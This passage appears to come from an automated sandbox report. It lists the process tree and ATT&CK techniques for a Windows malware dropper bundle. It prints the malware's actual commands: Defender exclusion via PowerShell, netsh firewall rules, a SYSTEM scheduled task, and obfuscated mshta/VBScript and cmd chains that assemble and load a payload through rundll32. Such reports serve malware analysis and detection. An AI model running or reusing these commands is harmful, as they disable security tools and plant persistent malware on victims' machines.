        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:3500
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2848
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5844
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        8⤵
        Creates scheduled task(s)
        
        PID:3924
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:5596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        9⤵
        
        PID:2936
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5540
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:796
      - C:\Users\Admin\Pictures\Adobe Films\dOQLnTOvgy_UxBt03dThhTcG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dOQLnTOvgy_UxBt03dThhTcG.exe"
        6⤵
        
        PID:2428
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2428 -s 268
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5236
      - C:\Users\Admin\Pictures\Adobe Films\YxsCDC7PCsMbrRxTLdpeSjPw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YxsCDC7PCsMbrRxTLdpeSjPw.exe"
        6⤵
        Executes dropped EXE
        
        PID:5268
      - C:\Users\Admin\Pictures\Adobe Films\NGsyXdVeWanAc0BteC5lTBNQ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\NGsyXdVeWanAc0BteC5lTBNQ.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3636
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun15f67075f27a2b5b.exe
        
        Sun15f67075f27a2b5b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880
      - C:\Users\Admin\AppData\Roaming\6703036.scr
        
        "C:\Users\Admin\AppData\Roaming\6703036.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4172
      - C:\Users\Admin\AppData\Roaming\2524259.scr
        
        "C:\Users\Admin\AppData\Roaming\2524259.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5064
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:5920
      - C:\Users\Admin\AppData\Roaming\3004754.scr
        
        "C:\Users\Admin\AppData\Roaming\3004754.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5780
      - C:\Users\Admin\AppData\Roaming\5988557.scr
        
        "C:\Users\Admin\AppData\Roaming\5988557.scr" /S
        6⤵
        Executes dropped EXE
        
        PID:5876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4712
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun1577c3e159a3e3815.exe
        
        Sun1577c3e159a3e3815.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:3180
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3180 -s 292
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe
      4⤵
      PID:4696
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun15f1b1f8c669.exe
        
        Sun15f1b1f8c669.exe
        5⤵
        Executes dropped EXE
        
        PID:1436
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 324
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:2556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4188
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun159ff1acacf.exe
        
        Sun159ff1acacf.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2068
      - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun159ff1acacf.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun159ff1acacf.exe
        6⤵
        Executes dropped EXE
        
        PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe
      4⤵
      PID:3680
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun152bea652bd7232.exe
        
        Sun152bea652bd7232.exe
        5⤵
        Executes dropped EXE
        
        PID:4756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe
      4⤵
      PID:1696
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun1507db358fce61c0b.exe
        
        Sun1507db358fce61c0b.exe
        5⤵
        Executes dropped EXE
        
        PID:2600
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2600 -s 280
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun158d8ef840.exe
      4⤵
      PID:4816
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun158d8ef840.exe
        
        Sun158d8ef840.exe
        5⤵
        Executes dropped EXE
        
        PID:4720
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun158d8ef840.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:4708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun158d8ef840.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun158d8ef840.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:752
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        
        PID:5312
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:5468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:5716
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:1736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:4704
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:5408
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:664
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        Loads dropped DLL
        
        PID:5604
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:1888
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        Loads dropped DLL
        
        PID:5452
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Sun158d8ef840.exe"
        8⤵
        Kills process with taskkill
        
        PID:5540
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe
      4⤵
      PID:2040
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun152e52d07b74d9b5.exe
        
        Sun152e52d07b74d9b5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2276 -s 1920
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5260

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv vUTNTj+LSkG2KAeaWjURqw.0
1⤵
PID:4804
- C:\Windows\System32\sihclient.exe
  C:\Windows\System32\sihclient.exe /cv vUTNTj+LSkG2KAeaWjURqw.0.2
  2⤵
  PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:4652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4216

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 4d2677899b6d76182d6b82aa91be525d vUTNTj+LSkG2KAeaWjURqw.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:2064
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:4280

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 4d2677899b6d76182d6b82aa91be525d vUTNTj+LSkG2KAeaWjURqw.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:4044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1436 -ip 1436
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3180 -ip 3180
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1364

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 524 -p 2276 -ip 2276
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2600 -ip 2600
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5208

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5564
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5616
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 456
    3⤵
    - Program crash
    PID:5844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5616 -ip 5616
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1008 -ip 1008
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2188 -ip 2188
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 856 -ip 856
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5720 -ip 5720
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2428 -ip 2428
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4476 -ip 4476
1⤵
PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5476 -ip 5476
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5620 -ip 5620
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5560 -ip 5560
1⤵
PID:860

C:\Users\Admin\AppData\Local\Temp\8BB6.exe
C:\Users\Admin\AppData\Local\Temp\8BB6.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3212
- C:\Users\Admin\AppData\Local\Temp\8BB6.exe
  C:\Users\Admin\AppData\Local\Temp\8BB6.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:6020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5668 -ip 5668
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:2428

C:\Users\Admin\AppData\Local\Temp\121E.exe
C:\Users\Admin\AppData\Local\Temp\121E.exe
1⤵
- Executes dropped EXE
PID:5368
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 276
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:3524

C:\Users\Admin\AppData\Local\Temp\23C2.exe
C:\Users\Admin\AppData\Local\Temp\23C2.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4072

C:\Users\Admin\AppData\Local\Temp\35E4.exe
C:\Users\Admin\AppData\Local\Temp\35E4.exe
1⤵
PID:3944
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 304
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:4804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5368 -ip 5368
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1236

C:\Users\Admin\AppData\Local\Temp\5043.exe
C:\Users\Admin\AppData\Local\Temp\5043.exe
1⤵
PID:5400
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5400 -s 280
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:1284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3944 -ip 3944
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5400 -ip 5400
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5748

C:\Users\Admin\AppData\Local\Temp\AA6E.exe
C:\Users\Admin\AppData\Local\Temp\AA6E.exe
1⤵
PID:5340
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 5340 -s 1824
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:3176

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 5340 -ip 5340
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery